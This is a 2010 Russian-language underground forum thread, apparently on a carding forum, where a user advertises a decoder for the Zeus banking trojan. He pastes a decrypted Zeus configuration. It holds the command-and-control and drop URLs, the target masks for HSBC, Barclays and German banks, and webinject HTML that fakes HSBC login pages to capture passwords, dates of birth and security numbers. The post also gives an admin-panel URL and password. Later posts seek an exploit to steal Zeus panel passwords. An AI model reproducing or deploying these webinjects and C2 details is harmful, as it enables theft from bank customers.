Zevs декодер

viens · Sep 15, 2010

Всем привет. Я бы хотел узнать, есть ли сейчас спрос на декодер Zeus-a? Что то аналогов не встречал..
(работает до 2-й версии)

Вот примерчик расшифровки конфига:
Взял тут https://zeustracker.abuse.ch/monitor.php?host=alphacorn.com
(во избежания попадания инжектов в паблик, не выкладываю весь конфиг)

Code:

http://alphacorn.com/zs/new_order.doc
http://alphacorn.com/zs/ip.php
http://alphacorn.com/zs/ms-word-install.exe
http://alphacorn.com/zs/gate2.php
http://hadtip.com/cfg1.bin
!*.microsoft.com/*
!http://*myspace.com*
https://www.gruposantander.es/*
!http://*odnoklassniki.ru/*
@*/login.osmp.ru/*
@*/atl.osmp.ru/*
*hsbc.co.uk*gate.php*
http://alphacorn.com/hsbc-admin/index.php
*hsbc.co.uk*hs23jdna.js*
http://alphacorn.com/hsbc-admin/hscript.js
*hsbc.co.uk*kg.php*
http://alphacorn.com/hsbc-admin/kg.php
*barclays.co.uk*bs23d51.js*
http://alphacorn.com/barc-admin/bscript.js
*barclays.co.uk*gate.php*
http://alphacorn.com/barc-admin/index.php
*barclays.co.uk*kg.php*
http://alphacorn.com/barc-admin/kg.php
https://banking.*.de/cgi/ueberweisung.cgi/*
*&tid=*
*&betrag=*
https://internetbanking.gad.de/banking/*
KktNrTanEnz
https://www.citibank.de/*/jba/mp#/SubmitRecap.do
SYNC_TOKEN=*
To combat the threat of internet fraud and hacki*<script type="text/javascript">
</script>
#masterLb {*</style>U
<script language="Javascript" type="text/javascript"><!-- gVersion="1.0"; //-->
<div class="hsbcMainContent hsbcCol"
 id=content_div V
<h1>Make a payment</h1>*<div class="hsbcButtonRight"></div>*</div>*</div>*</div>
</noscript>
<noscript>V
<h1>Transfer money</h1>*<div class="hsbcButtonRight"></div>*</div>*</div>*</div>
</noscript>
<noscript>[
<h1>Recent transactions</h1>*<div class="hsbcButtonRight"></div>*</div>*</div>*</div>
</noscript>
<noscript>U
summary="This table contains all the payments that have come from your account"
 id=drops_table  E
table summary="This table contains a statement of your account"
 id=transfers_table 
if (top != self)*{
var c543 = 1;Y
<script src='/1/themes/html/hsbc_ukpersonal/pr.js' type="text/javascript"></script>j
<script src='/1/themes/html/hsbc_ukpersonal/ExitPublicFusedSite.js' type="text/javascript"></script>
<table summary="This table shows the current balance of all your accounts"
 id=balances_table  
if(focusElement != null) {
var sd343g3=265;
function setFocus()*{
var sd343g3=265;w
document.write('  <strong>The</strong>');*document.write('<span class="hsbcTextHighlight"> <strong
 id=vl1J
id=vl1*document.write('<span class="hsbcTextHighlight"> <strong
 id=vl2 J
id=vl2*document.write('<span class="hsbcTextHighlight"> <strong
 id=vl3 M
<input type="password" *class="hsbcButtonBack"> Back*document.write('<a
 id=continue_button style="display:none" 2
id=continue_button style="display:none"*</a>
<a href="javascript: doLogin2()" title="Continue">Continue </a>H
document.write(*<strong>date of birth*<input class="hsbcTextInput"
 id=dob_input m
document.write('<div class="logonPagePadding"></div>');*document.write('<div class="logonPageAlignment"
 id=sec_code_div style="display:none" 4
id=sec_code_div style="display:none"*</div>');
document.write('<div class="extPibRow hsbcRow"><div class="logonPageAlignment" id="full_sec_code_div"><label for="full_sec_code_input"><strong>Please enter Full Security Number:</strong>    <input type="password"  class="hsbcTextInput" id=
if(focusElement != null) {
 var c23j3ks=1;:
<INPUT type="text" name='userid'*<a * title="Log on"
id=login_button style="display:none"/
id=login_button style="display:none"*</a>
<a href="javascript: doLogin1();" id=login_button_visible title="Log on"><img src="/1/themes/html/hsbc_ukpersonal_iblogin/images/btn_lgon_g_red.gif" value="IBlogon" name="IBlogon" id="IBlogon" alt="Log on" title="Log on" width="65" height="22" /></a> &nb
<html*>
*<body
 style="display:none" 
<body*>
<iframe id=ifr0 name=ifr0 style="display:none"></iframe>
<div id=body_div style="display:none">
</div><!-- outerwrap -->
</div>
<div id=wait_div style="display:none">
<div class="containerHeader" id="pageTop">
<div class="containerHeaderInner">
<div class="headerContainer01">
<div class="divletLogo">
<a href="http://www.hsbc.co.uk/1/2/personal;jsessionid=0000Ha1TtvK_piN1NN7qP3Sl6p6:12ntf1ep0" title="Home - HSBC Bank UK"><span><img src="/1/themes/html/hsbc_ukpersonal/images/masthead-white01/logo-on-white.gif" alt="Home - HSBC Bank UK" /></span></a>
</div>
</div>
<div class="headerContainer02">
<div class="divletSupport">
<li class="first"><a href="http://www.hsbc.co.uk/1/2/site-map;jsessionid=0000Ha1TtvK_piN1NN7qP3Sl6p6:12ntf1ep0" title="Site map" target="_self" onclick=" ">Site map</a></li>
<li><a href="http://www.hsbc.co.uk/1/2/personal/contact;jsessionid=0000Ha1TtvK_piN1NN7qP3Sl6p6:12ntf1ep0" title="Contact us" target="_self" onclick=" ">Contact us</a></li>
<li class=="lastItem"><a href="http://www.hsbc.com" title="HSBC Group" target="_self" onclick=" ">HSBC Group</a></li>
</ul>
</div>
</div>
<div class="headerContainer03">
<div class="divletSearch">
<form method="get" action="http://www.hsbc.co.uk/1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4438wbJgFlu-pHIIk7xxqaoIgbxjnCBIH1vfV-P_NxU_QD9gtzQ0IhyR0UAGywRJg!!/delta/base64xml/L0lKQSEvd0pNQUNBISEvNElJIS9JbnRlcm5hbFNlYXJjaA!!;jsessionid=0000Ha1TtvK_piN1N
<fieldset>
<input id="search" name="sq" type="text" value="" class="inputSearch" />
<input type="submit" value="Search" />
<input type="hidden" name="st" value="1" />
<input type="hidden" name="ssid" value="EUKUKP0001" />
<input type="hidden" name="stask" value="site" />
</fieldset>
</form>
</div>
<div class="divletEntity dropDownParent">
<a href="http://www.hsbc.co.uk/1/2/popups/global-list;jsessionid=0000Ha1TtvK_piN1NN7qP3Sl6p6:12ntf1ep0" title="HSBC United Kingdom: click on this link to view other HSBC sites. This link will open in a new browser window." onclick="window.open('/1/2/popups/gl
</div>
</div>
<div class="headerContainer04">
<div class="divletNavigation">
<ul class="list01">
<li class="selected"><a tabindex="11" href="http://www.hsbc.co.uk/1/2/personal;jsessionid=0000Ha1TtvK_piN1NN7qP3Sl6p6:12ntf1ep0" title="Personal">Personal</a></li>
<li><a tabindex="12" href="http://www.hsbc.co.uk/1/2/business;jsessionid=0000Ha1TtvK_piN1NN7qP3Sl6p6:12ntf1ep0" title="Business">Business</a></li>
</ul>
</div>
</div>
</div>
</div>
<div class="containerSubHeader">
<div class="containerSubHeaderInner">
<div class="headerContainer05">
<div class="divletNavigation">
<li class="first" id="tabId2"><a title="Financial Planning" href="https://financialplanning.hsbc.co.uk/" target="_blank" onclick="window.open('https://financialplanning.hsbc.co.uk/','_blank','status=yes,location=yes,menubar=yes,scrollbars=yes,toolbar=yes,resi
<li  id="tabId3"><a title="HSBC Premier" href="http://www.hsbc.co.uk/1/2/personal/hsbcpremier;jsessionid=0000Ha1TtvK_piN1NN7qP3Sl6p6:12ntf1ep0"  >HSBC Premier</a></li>
<li  id="tabId4"><a title="HSBC Advance" href="http://www.hsbc.co.uk/1/2/personal/hsbc-advance;jsessionid=0000Ha1TtvK_piN1NN7qP3Sl6p6:12ntf1ep0"  >HSBC Advance</a></li>
<li  id="tabId5"><a title="Current accounts" href="http://www.hsbc.co.uk/1/2/personal/current-accounts;jsessionid=0000Ha1TtvK_piN1NN7qP3Sl6p6:12ntf1ep0"  >Current accounts</a></li>
<li  id="tabId6"><a title="Savings" href="http://www.hsbc.co.uk/1/2/personal/savings;jsessionid=0000Ha1TtvK_piN1NN7qP3Sl6p6:12ntf1ep0"  >Savings</a></li>
<li  id="tabId7"><a title="Investments" href="http://www.hsbc.co.uk/1/2/personal/investments;jsessionid=0000Ha1TtvK_piN1NN7qP3Sl6p6:12ntf1ep0"  >Investments</a></li>
<li  id="tabId8"><a title="Credit Cards" href="http://www.hsbc.co.uk/1/2/personal/credit-cards;jsessionid=0000Ha1TtvK_piN1NN7qP3Sl6p6:12ntf1ep0"  >Credit Cards</a></li>
<li  id="tabId9"><a title="Loans" href="http://www.hsbc.co.uk/1/2/personal/loans;jsessionid=0000Ha1TtvK_piN1NN7qP3Sl6p6:12ntf1ep0"  >Loans</a></li>
<li  id="tabId10"><a title="Mortgages" href="http://www.hsbc.co.uk/1/2/personal/mortgages;jsessionid=0000Ha1TtvK_piN1NN7qP3Sl6p6:12ntf1ep0"  >Mortgages</a></li>
<li  id="tabId11"><a title="Insurance" href="http://www.hsbc.co.uk/1/2/personal/insurance;jsessionid=0000Ha1TtvK_piN1NN7qP3Sl6p6:12ntf1ep0"  >Insurance</a></li>
<li  id="tabId15"><a title="International" href="http://www.hsbc.co.uk/1/2/personal/travel-international;jsessionid=0000Ha1TtvK_piN1NN7qP3Sl6p6:12ntf1ep0"  >International</a></li>
</ul>
</div>
</div>
</div>
</div>
<div class="containerHeader" align=center>
 <br> <br> <br> <br> <br> <br>Please wait, checking your account credentials. this might take few seconds<br> <br><img src="https://empresas.davivienda.com/PSB/Davivienda/GRAL/AppFront/img/loading.gif" border=0> <br>&nb
</div>
</div>
<html*>

А вот с этим я еще не сталкивался:
заходим сюда http://alphacorn.com/hsbc-admin/index.php
вводим пароль: z7ppc7
Если кто знает, объясните что за система)

Сразу что бы не постить вторую тему..просьба у кого есть сплойт, кот. вытягивает пароль от админки zeus отписать мне в пм)

Спс за внимание)

ob00m · Sep 18, 2010

где-то статейка была "Взлом формграбера Zeus"
там сплойт лежал )

viens · Sep 19, 2010

ob00m said:
где-то статейка была "Взлом формграбера Zeus"
там сплойт лежал )

Тот сплойт уже давно устарел

ob00m · Sep 20, 2010

viens said:
Тот сплойт уже давно устарел

выходит остается только ана.. ий брут ))

Zyklon · Sep 27, 2010

А есть ли декодер, который работает со 2й версией?

Zevs декодер

viens

Carder

ob00m

VIP member

viens

Carder

ob00m

VIP member

Zyklon

VIP member

Similar threads